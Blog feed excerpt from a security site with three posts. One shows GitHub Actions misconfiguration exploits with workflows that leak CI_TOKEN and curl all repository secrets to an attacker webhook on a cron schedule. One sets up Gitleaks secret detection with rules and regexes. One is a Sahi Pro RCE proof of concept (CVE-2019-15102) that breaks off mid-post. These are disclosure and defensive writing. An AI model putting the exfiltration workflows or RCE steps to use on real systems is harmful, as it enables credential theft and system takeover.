<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-809" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM.png" alt="" width="2356" height="1098" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM.png 2356w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-300x140.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1024x477.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-768x358.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1536x716.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-2048x954.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1600x746.png 1600w" sizes="(max-width: 2356px) 100vw, 2356px" /></p>
<p>And lets Base32 Decode the result to get the cleartext secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-810" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM.png" alt="" width="1312" height="1098" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM.png 1312w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-300x251.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-1024x857.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-768x643.png 768w" sizes="(max-width: 1312px) 100vw, 1312px" /></p>
<h2><strong>Mis-config 2 &#8211; </strong><strong>Exfiltrate </strong><strong>Repository level Secrets</strong> :</h2>
<p>After reviewing several service repositories, I checked their GitHub Actions workflow files for secrets unique to each repository.I noticed something interesting: in one repository&#8217;s workflow file, it used &#8220;${{secrets.CI_TOKEN }}&#8221; as a secret. Normally, only the DevOps team or repository owners can manage secrets at the repository level due to security concerns. If someone were to steal the CI_TOKEN, it could lead to compromised builds and workflow tampering, depending on the CI system and token privileges (like Circle CI or Jenkins).</p>
<p>It&#8217;s important to mention that this repository had strong branch protection rules, requiring multiple reviews to merge changes into the base branch. Additionally, CODEOWNERS triggered mandatory reviews by the DevOps team when modifying GitHub workflow files in the base branch. However, I found that secrets stored at the repository level could be accessed by workflows from all branches, not just the base branch.</p>
<p>These are the prior conditions to be aware to exploit this misconfiguration :</p>
<ol>
<li><strong>Ability to create a new branch on a service repository .</strong></li>
<li><strong>GitHub Actions/Workflows Enabled</strong>: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.</li>
<li><strong>Sensitive Secrets stored at Repository level for Selected Repository .</strong></li>
</ol>
<p>In our case we had,</p>
<ol>
<li>Ability to create a new branch on identified service repository.</li>
<li>Github actions were enabled for the selected repository and also ability to run on created branches without any restriction.</li>
<li> secret &#8216;<strong>CI_TOKEN&#8217;</strong> stored at identified service Github repo.</li>
<li><strong>Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) &amp; variable names with vars context and github built in function , toJson()</strong></li>
</ol>
<p>With the prior conditions to exploit satisfied , Our goal was to steal Repository secret &#8220;<strong>CI_TOKEN</strong><strong>&#8221; .</strong></p>
<h3>Its Exploit time:</h3>
<p>Create a New branch for the identified repository in our case lets create a new branch &#8220;<strong>test-exfiltration</strong>&#8221; from base branch.</p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-813" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM.png" alt="" width="786" height="382" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM.png 2046w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-300x146.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1024x497.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-768x373.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1536x746.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1600x777.png 1600w" sizes="(max-width: 786px) 100vw, 786px" /></p>
<p>Lets create a malicious github workflow file at the path &#8220;<strong>.github/workflows/exfil.yaml</strong>&#8221; for the newly created branch. I will follow this steps on UI for simplicity and better verbose.</p>
<pre>name: Exfiltrate Repository secret
on:
  push:
    branches: [test-exfiltration]
  pull_request:
    branches: [test-exfiltration]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil repository secret
      id: response
      run:  |
          echo "lets exfil some repository secrets..."
          echo "${{secrets.CI_TOKEN}}" | base32</pre>
<p>We observe that workflow runs successfully and triggers the exfiltration each time we commit to this branch via Push / Pull Request. And finally we base32 encode it and print to log which can be decoded to fetch cleartext secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-815" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM.png" alt="" width="697" height="315" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM.png 2846w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-300x136.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1024x463.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-768x347.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1536x694.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-2048x925.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1600x723.png 1600w" sizes="(max-width: 697px) 100vw, 697px" /></p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-816" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM.png" alt="" width="814" height="368" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM.png 2846w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-300x136.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1024x463.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-768x347.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1536x694.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-2048x925.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1600x723.png 1600w" sizes="(max-width: 814px) 100vw, 814px" /></p>
<p>To establish persistence, we can enhance the previous workflow by scheduling a recurring cronjob. This modified workflow would run at specified intervals and send all the variables and secrets accessible to compromised repository to an attacker-controlled site. The reason behind this approach is that secrets often undergo rotation for security reasons, making it crucial to maintain persistence for extended simulations aimed at testing an organization&#8217;s detection capabilities.</p>
<p>By incorporating this scheduled cronjob into our workflow, we ensure that any changes or updates to secrets within the organization are continuously monitored and exfiltrated, providing valuable insights into the organization&#8217;s security posture and response mechanisms.</p>
<pre>name: Weekly CI Exfil

on:
  push:
    branches:
      - test-exfiltration
  pull_request:
    branches:
      - test-exfiltration
  schedule:
    - cron: '0 15 * * 1'  # run every Monday at 3 pm UTC

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Exfil Secrets
      run: |
        WEBHOOK_URL="https://&lt;your webhook&gt;"
        echo $ALL_VARS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @- 
        echo $ALL_<span class="pl-ent">SECRETS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @-</span>
      env:
        ALL_VARS: ${{ toJSON(secrets) }}
        ALL_<span class="pl-ent">SECRETS</span>: <span class="pl-s">${{ toJSON(vars) }}</span>

</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-817" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM.png" alt="" width="2354" height="678" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM.png 2354w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-300x86.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1024x295.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-768x221.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1536x442.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-2048x590.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1600x461.png 1600w" sizes="(max-width: 2354px) 100vw, 2354px" /></p>
<p>Voila, web hook received with exfiltrated base32 encoded secret.</p>
<p>Even though our focus in this post has been mainly towards exfiltrate org level and repository level secrets, the highlighted misconfigurations could have resulted in completely different attack vectors (crypto mining etc) .</p>
<p><strong>Hardening notes to Github Admins/DevOps :</strong></p>
<ol>
<li>Limit Repository creation access to Admin users and also make sure enforce branch protection rules to all the repositories to prevent wrongful actions by users.Also,Archive/Delete older source repositories .</li>
<li>Enforce RBAC permissions to Github repositories. All Github users should not have write access to all the repositories. Enforce team level granular permissions.</li>
<li>Limit organisation secrets exposure to selected repositories instead of all repositories .</li>
<li>Use reusable workflows to prevent unauthorised modifications to existing workflow files.</li>
<li>Notify and enforce reviews by DevOps/Security when such modifications happen via maintaining CODEOWNERS file.(<a href="https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners">https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners</a> )</li>
<li>Limit ability to run Github Actions for selected/required source repositories only.</li>
<li>Use Deployment protection rules and store secrets in the context of environment.</li>
<li>Adapt to supply chain security frameworks such as SLSA (<a href="https://slsa.dev/">https://slsa.dev/</a>) to enhance security posture and guard against supply chain security threats.</li>
</ol>
<p>In the end, it&#8217;s worth noting that a simple misconfiguration can create a significant hole/blindspot in an organization&#8217;s security posture.</p>
<p>References / articles worth quoting :</p>
<p><a href="https://boostsecurity.io/blog/slsa-dip-its-build-time">https://boostsecurity.io/blog/slsa-dip-its-build-time</a></p>
<p><a href="https://slsa.dev/">https://slsa.dev/</a></p>
<p><a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions">https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions</a></p>
<p><a href="https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1">https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1</a></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/">Github Misconfiguration to Secrets Exfiltration</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Automated Sensitive Secrets Monitoring with Gitleaks and Github Actions</title>
		<link>https://barriersec.com/2021/01/automated-sensitive-secrets-monitoring-with-gitleaks-and-github-actions/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Fri, 22 Jan 2021 17:44:59 +0000</pubDate>
				<category><![CDATA[Appsec]]></category>
		<category><![CDATA[Secrets Monitoring]]></category>
		<category><![CDATA[application security]]></category>
		<category><![CDATA[CICD]]></category>
		<category><![CDATA[github actions]]></category>
		<category><![CDATA[gitleaks]]></category>
		<category><![CDATA[Secrets monitoring]]></category>
		<category><![CDATA[security automation]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=774</guid>

					<description><![CDATA[<p>Sensitive secrets being exposed accidentally / hardcoded as part of scripts/code is always a major concern / blind spot for&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2021/01/automated-sensitive-secrets-monitoring-with-gitleaks-and-github-actions/">Automated Sensitive Secrets Monitoring with Gitleaks and Github Actions</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Sensitive secrets being exposed accidentally / hardcoded as part of scripts/code is always a major concern / blind spot for internal security team of any organization. Even though the repositories of an org are private, equipped with right set of regex , it takes less than a minute for an insider to get hold of sensitive secrets and ability to wreck havoc any system that the insider has no access to.(ex: slack tokens, prod database creds etc) .</p>
<p>In this post we will see how this end to end sensitive secrets monitoring system can be built for an organization which uses github as version control system as part of their SDLC.</p>
<p><strong>Quick overview of the desired workflow : </strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-777" src="https://barriersec.com/wp-content/uploads/gitleaks_workflow.png" alt="" width="1364" height="716" srcset="https://barriersec.com/wp-content/uploads/gitleaks_workflow.png 1364w, https://barriersec.com/wp-content/uploads/gitleaks_workflow-300x157.png 300w, https://barriersec.com/wp-content/uploads/gitleaks_workflow-1024x538.png 1024w, https://barriersec.com/wp-content/uploads/gitleaks_workflow-768x403.png 768w" sizes="(max-width: 1364px) 100vw, 1364px" /></p>
<p>As you can see , we will be using gitleaks (an awesome and flexible secrets detection tool <strong><a href="https://github.com/zricethezav/gitleaks">https://github.com/zricethezav/gitleaks</a></strong> ) to detect any patterns of secret that might be interesting to us. We would also be using github actions for couple of reasons instead of other build systems. One of the strongest point is because of its tight integration with github and less integration overheads. Github actions also gives  us more control over the events part of github.</p>
<p><strong>Brief overview of the desired workflow :</strong></p>
<ol>
<li>We would be cloning, modifying a bit of code and host the github actions repository  at <a href="https://github.com/zricethezav/gitleaks-action/tree/v1.1.3"><strong>https://github.com/zricethezav/gitleaks-action/tree/v1.1.3</strong></a> as one of our own private organization repository. This helps us to modify the existing gitleaks-action as per our needs. We would also be hosting <strong>gitleaks rules file</strong> in the same repo. this is for couple of reason,
<ol>
<li>we want to make sure we have a centralized rules file for all the repositories that we want to monitor as part of the organization. This also helps us to modify rules file at a central location. (adding whitelisting patterns , whitelisting paths etc)</li>
<li>We also do not want to use latest version of git leaks that might break the workflow(we use <strong>version v6.1.0</strong>).</li>
</ol>
</li>
<li>Gitleaks would be configured as part of github actions workflow for all the repositories we want to monitor for any sensitive secret patterns. This step would use the private github action we created in the step 1.</li>
<li><strong>Configured Github actions</strong> workflow <strong>trigger</strong> the scan for any secrets when a developer commits a new code to release/master branch.( <strong>Push event) / </strong>raises a new Pull request against master branch(<strong>PR event</strong>)<strong>.</strong></li>
</ol>
<p><b>Step 1 : </b></p>
<p>Clone the repository hosted at <a href="https://github.com/zricethezav/gitleaks-action/tree/v1.1.3"><strong>https://github.com/zricethezav/gitleaks-action/tree/v1.1.3</strong></a> , <strong>create a private repository under company org with desired name(ex: github-actions)</strong> and <strong>host the cloned code there</strong> . ( thanks to relaxed license policy by <a href="https://github.com/zricethezav/">https://github.com/zricethezav/</a> <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> )</p>
<p><strong>Step 2 : </strong></p>
<p>Modify the existing<strong> <a class="js-navigation-open link-gray-dark" title="Dockerfile" href="https://github.com/zricethezav/gitleaks-action/blob/v1.1.3/Dockerfile">Dockerfile</a></strong> by specifying version of git leaks release under private <strong>&#8216;github-actions&#8217; repository</strong> <strong>which was created in step 1</strong>.</p>
<blockquote>
<pre>FROM zricethezav/<strong>gitleaks:v6.1.0</strong>

LABEL "com.github.actions.name"="gitleaks-action"
LABEL "com.github.actions.description"="runs gitleaks on push and pull request events"
LABEL "com.github.actions.icon"="shield"
LABEL "com.github.actions.color"="purple"
LABEL "repository"="https://github.com/zricethezav/gitleaks-action"

ADD entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]</pre>
</blockquote>
<p><strong>Step 3 :</strong></p>
<p>Gitleaks use toml formatted file for defining rules . Create a rules file with desired name(ex: <strong>rules.toml </strong>) under root of newly created repo <strong>&#8216;github-actions&#8217; (created in step 1)</strong> . Gitleaks uses this rules file to detect the sensitive patterns. Gitleaks project has an excellent documentation how rules are defined <strong><a href="https://github.com/zricethezav/gitleaks">here</a> </strong>.(Configuration section of readme) and also couple of examples are define by the project <strong><a href="https://github.com/zricethezav/gitleaks/tree/master/examples">here </a></strong>.</p>
<p>Example rules.toml :</p>
<blockquote>
<pre>[[rules]]
	description = "API Key"
	regex = '''[a-zA-z_0-9]*(?i)(api_key|token|apikey|db_pass|db_password)["']*(\s)*[=:](\s)*["'][a-zA-z+0-9_/!+=]+['"]'''
	tags = ["key", "APIKEY"]
		[rules.allowlist]
		description = "ignore non sensitive key"
		regexes = [
		    '''(?i)(TEST_TOKEN|DUMMY_KEY)["'a-z\sA-z0-9_=]*'''
		]	
		[[rules.Entropies]]
			Min = "4.3"
			Max = "8.0"

[[rules]]
          description = "Slack"
          regex = '''xox[baprs]-([0-9a-zA-Z]{10,48})?'''
          tags = ["key", "Slack"]


[allowlist]
          description = "global allowlist. whitelisting paths"
          paths = ['''test/*''']

</pre>
</blockquote>
<p>Here in the rules file we define individual regex patterns which will be matched against github commits to detect sensitive secrets.</p>
<p>Here in the above example, we have defined two rules. First rule is one of my custom rule which contains regex to detect sensitive key value patterns with substring ( api_key, token, apikey, db_pass, db_password)(you can craft and test regex rules here : <a href="https://regex101.com/"><strong>https://regex101.com/</strong></a> (select golang for testing gitleaks rules).</p>
<p>We also have the ability to whitelist the certain detected patterns as shown below under <strong>rules.allowlist</strong> section per rule. We can also define the shannon entropy value under <strong>rules.Entropies</strong> section per rule. Defining threshold  entropy values further refines the resultant detections and gives less false positives. This has its cons, higher the entropy, lower the detection of short/common secrets .You can also calculate shannon entropy of the string over here : <strong><a href="https://www.shannonentropy.netmark.pl/">https://www.shannonentropy.netmark.pl/</a> </strong>.</p>
<p>Second rule detects if the scanned commit contains slack user/bot tokens . We also have the ability to define <strong>global allowlist</strong> which applies to all the repositories which are being monitored for secrets. In this case if any test / dummy secrets are defined under test/ any repository path , gitleaks skips scanning the defined folder.</p>
<p><strong>Step 4 :</strong></p>
<p>Modify the existing <a href="https://github.com/zricethezav/gitleaks-action/tree/v1.1.4"><strong>entrypoint.sh</strong></a> file under private  <strong>&#8216;github-actions&#8217; </strong>repository which was created in step 1 as follows . This is done in order to use centralized rules file(<strong>rules.toml</strong>) .</p>
<blockquote>
<pre>#!/bin/bash

#modified
<strong>CONFIG="--config ./gitleaksaction/rules.toml"</strong>

echo running gitleaks "$(gitleaks --version) with the following command :&#x1f447;"

DONATE_MSG="&#x1f44b; maintaining gitleaks takes a lot of work so consider sponsoring me or donating a little something\n\e[36mhttps://github.com/sponsors/zricethezav\n\e[36mhttps://www.paypal.me/zricethezav\n"

if [ "$GITHUB_EVENT_NAME" = "push" ]
then
  echo gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commit=$GITHUB_SHA $CONFIG
  gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commit=$GITHUB_SHA $CONFIG
elif [ "$GITHUB_EVENT_NAME" = "pull_request" ]
<strong>then 
  git --git-dir="$GITHUB_WORKSPACE/.git" log --left-right --cherry-pick --pretty=format:"%H" remotes/origin/$GITHUB_BASE_REF...remotes/origin/$GITHUB_HEAD_REF &gt; commit_list.txt
  echo gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commits-file=commit_list.txt $CONFIG
  gitleaks --pretty --repo-path=$GITHUB_WORKSPACE --verbose --redact --commits-file=commit_list.txt $CONFIG
fi</strong>

if [ $? -eq 1 ]
then
echo -e "\e[31m&#x1f6d1; STOP! Gitleaks encountered leaks"
echo "----------------------------------"
echo -e $DONATE_MSG
exit 1
else
echo -e "\e[32m&#x2705; SUCCESS! Your code is good to go!"
echo "------------------------------------"
echo -e $DONATE_MSG
fi</pre>
</blockquote>
<p><strong>Step 5 :</strong></p>
<p>Final step is to add the github actions workflow file under all the repositories of an organization that needs to be monitored for secrets.</p>
<p>Github actions workflow files are defined under ( <strong>&lt;repo_root&gt;/.github/workflows/&lt;file&gt;.yaml</strong>) . Add the following workflow file(gitleaks.yaml) under all the repositories of the org(<strong>&lt;monitored_repo&gt;/.github/workflows/gitleaks.yaml</strong>).</p>
<blockquote>
<pre>name: gitleaks
on:
  pull_request:
    branches: 
      - master
  push:
    branches: 
      - master
jobs:
  gitleaks:
    runs-on: ubuntu-latest
    steps:
    - name: Code checkout
      uses: actions/checkout@v2
      with:
        fetch-depth: '0'  
    - name: gitleaks-action checkout(private)
      uses: actions/checkout@v2
      with:
        repository: &lt;<strong>yourOrgChangeThis</strong>&gt;/gitleaks-action
        ref: master 
        token: ${{ secrets<strong>.</strong>GIT_ACTION_TOKEN }} # stored in GitHub secrets
        path: <strong>./gitleaksaction</strong>
    - name: run gitleaks action
      uses: <strong>./gitleaksaction</strong></pre>
</blockquote>
<p>This workflow file does couple of things.</p>
<blockquote><p>It triggers only on events, <strong>push(direct commit)</strong> and <strong>pull request</strong> against <strong>master</strong> <strong>branch</strong> ( defined under <strong>&#8216;on&#8217;</strong> section of workflow file.)</p>
<p>it uses default ubuntu latest runner for running this job.</p>
<p>Finally defined workflow job checks out the current repository which triggered the scan and the private <strong>gitleaks-actions</strong> repository which was created and modified in earlier steps. Since github actions is hosted inside a private organization, we have to define a github secret at org level ( <strong>secrets.GIT_ACTION_TOKEN ) with the github access token. </strong>Finally gitleaks action is run inside the runner.</p></blockquote>
<p><strong>Step 6 :</strong></p>
<p>Define <strong>GIT_ACTION_TOKEN </strong>inside org level github secrets with necessary permissions ( read and checkout permissions) .</p>
<p><strong>Test it :</strong></p>
<p>Test and verify by directly committing to master branch/ raising a PR which contains sensitive secret which matches the regex pattern.</p>
<p>example test string pattern :     <strong><span class="x x-first x-last">passsecretA23token</span> = &#8220;dasojdhaskj12111AcX0908123lkjsalkdjlajdsaw281238dsadaAsda1&#8221;</strong></p>
<p>If the branch is protected, github actions check prevents merging the feature branch and fails the check.(can also check the result manually under actions tab of a repository .)</p>
<p><strong>Execution Flow Diagram : </strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-795" src="https://barriersec.com/wp-content/uploads/Gitleaks-Actions.jpeg" alt="" width="1608" height="826" srcset="https://barriersec.com/wp-content/uploads/Gitleaks-Actions.jpeg 1608w, https://barriersec.com/wp-content/uploads/Gitleaks-Actions-300x154.jpeg 300w, https://barriersec.com/wp-content/uploads/Gitleaks-Actions-1024x526.jpeg 1024w, https://barriersec.com/wp-content/uploads/Gitleaks-Actions-768x395.jpeg 768w, https://barriersec.com/wp-content/uploads/Gitleaks-Actions-1536x789.jpeg 1536w, https://barriersec.com/wp-content/uploads/Gitleaks-Actions-1600x822.jpeg 1600w" sizes="(max-width: 1608px) 100vw, 1608px" /></p>
<p><strong>Results : </strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-783" src="https://barriersec.com/wp-content/uploads/gitleaks_workflow2.png" alt="" width="1386" height="391" srcset="https://barriersec.com/wp-content/uploads/gitleaks_workflow2.png 1386w, https://barriersec.com/wp-content/uploads/gitleaks_workflow2-300x85.png 300w, https://barriersec.com/wp-content/uploads/gitleaks_workflow2-1024x289.png 1024w, https://barriersec.com/wp-content/uploads/gitleaks_workflow2-768x217.png 768w" sizes="(max-width: 1386px) 100vw, 1386px" /></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-784" src="https://barriersec.com/wp-content/uploads/gitleaks_workflow3.png" alt="" width="1194" height="164" srcset="https://barriersec.com/wp-content/uploads/gitleaks_workflow3.png 1194w, https://barriersec.com/wp-content/uploads/gitleaks_workflow3-300x41.png 300w, https://barriersec.com/wp-content/uploads/gitleaks_workflow3-1024x141.png 1024w, https://barriersec.com/wp-content/uploads/gitleaks_workflow3-768x105.png 768w" sizes="(max-width: 1194px) 100vw, 1194px" /></p>
<p><strong>How to remove the valid detected secrets?!</strong></p>
<blockquote><p>Consider the leaked sensitive keys as compromised and rotate the secrets.</p>
<p>Use BFG repo cleaner to remove the secrets :<strong><a href="https://rtyley.github.io/bfg-repo-cleaner/"> https://rtyley.github.io/bfg-repo-cleaner/</a> .</strong> This is not completely efficient,  as the read only PR heads containing secrets are not removed(only github support team can help with this).</p></blockquote>
<p>That&#8217;s it for now. Just want to keep this blog alive .Shubha Dina.</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2021/01/automated-sensitive-secrets-monitoring-with-gitleaks-and-github-actions/">Automated Sensitive Secrets Monitoring with Gitleaks and Github Actions</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2019-15102 – Sahi pro ( </title>
		<link>https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 31 Aug 2019 21:34:48 +0000</pubDate>
				<category><![CDATA[Sahi Pro(<=8.0) RCE]]></category>
		<category><![CDATA[6.x]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.0]]></category>
		<category><![CDATA[cve-2019-15102]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=689</guid>

					<description><![CDATA[<p>It was found in sahi web editor interface, we can set up password to protect from unauthenticated users to misuse&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/">CVE-2019-15102 – Sahi pro ( &lt;= 8.x ) Remote Code Execution</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>It was found in sahi web editor interface, we can set up password to protect from unauthenticated users to misuse the functionalities.</p>
<p>It was found that even with the password protected web portals , an attacker can still bypass and perform all the operations of the interface as there are no server side validations for each request. Here in this example we will demonstrate how an attacker can create any file within sahi pro scripts root folder. This can be extended to all the operations.</p>
<p>This impacts can be maximized with the help of remote execution of sahi scripts feature with the help of testrunner generated URL. As launching these remote execution does not require any kind of authentication / password , chained with the previous bug ( creation of sahi script remotely without password ) results in complete take over of the system running sahi pro .</p>
<p>Here is the detailed proof of concept for the same :</p>
<p>An attacker visits the server running sahi pro. He tries to access the remote editor interface as shown below .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-695" src="https://barriersec.com/wp-content/uploads/rce_1.png" alt="" width="803" height="580" srcset="https://barriersec.com/wp-content/uploads/rce_1.png 803w, https://barriersec.com/wp-content/uploads/rce_1-300x217.png 300w, https://barriersec.com/wp-content/uploads/rce_1-768x555.png 768w" sizes="(max-width: 803px) 100vw, 803px" /></p>
<p>Fig : Password protected login form.</p>
<p>As he observes that the console is password protected , he sends the script creation request directly to the <strong>EditorUI_saveScript </strong>end point as shown below.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-696" src="https://barriersec.com/wp-content/uploads/rce_2_2.png" alt="" width="938" height="419" srcset="https://barriersec.com/wp-content/uploads/rce_2_2.png 938w, https://barriersec.com/wp-content/uploads/rce_2_2-300x134.png 300w, https://barriersec.com/wp-content/uploads/rce_2_2-768x343.png 768w" sizes="(max-width: 938px) 100vw, 938px" /></p>
<p>Fig : direct request is sent to the end point with sahi script name and contents</p>
<p>( we make use of <strong>_execute</strong> API to execute system commands )</p>
<p>We have used fine name as <strong>rce.sah</strong> to be created and with contents as follows :</p>
<p><strong>_execute(&#8220;ping 192.168.0.105 -n 5&#8221;);</strong></p>
<p><strong>Here , 192.168.0.105 is IP of attacker machine. We make use of ping as payload because, we already assumed web interface is password protected hence we cannot directly see the output of the log files executed.</strong></p>
<p><strong> </strong></p>
<p>This vulnerability can be chained further with the next vulnerability :</p>
<p>No password authentication for remote executions of sahi scripts . Testrunner.bat or distributed runs does not have any authentication mechanism that can help an attacker to initiate remote runs on machine . this can be abused to launch a denial of service attack or more severe, remote code execution chained with the previous one.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-697" src="https://barriersec.com/wp-content/uploads/rce_2.png" alt="" width="1689" height="348" srcset="https://barriersec.com/wp-content/uploads/rce_2.png 1689w, https://barriersec.com/wp-content/uploads/rce_2-300x62.png 300w, https://barriersec.com/wp-content/uploads/rce_2-768x158.png 768w, https://barriersec.com/wp-content/uploads/rce_2-1024x211.png 1024w" sizes="(max-width: 1689px) 100vw, 1689px" /></p>
<p><strong>Fig : testrunner batch file converts the request to a URL request which is then fed to master_runNonDistributed / Distributed endpoints.</strong></p>
<p><strong>The url which is generated can be copied and can be used to launch any remote executions , just changing localhost to remote sahi server .</strong></p>
<p><strong>Attacker can the generated URL directly and execute any script he wants, in this case the malicious script he created that is “rce.sah” as follows :</strong></p>
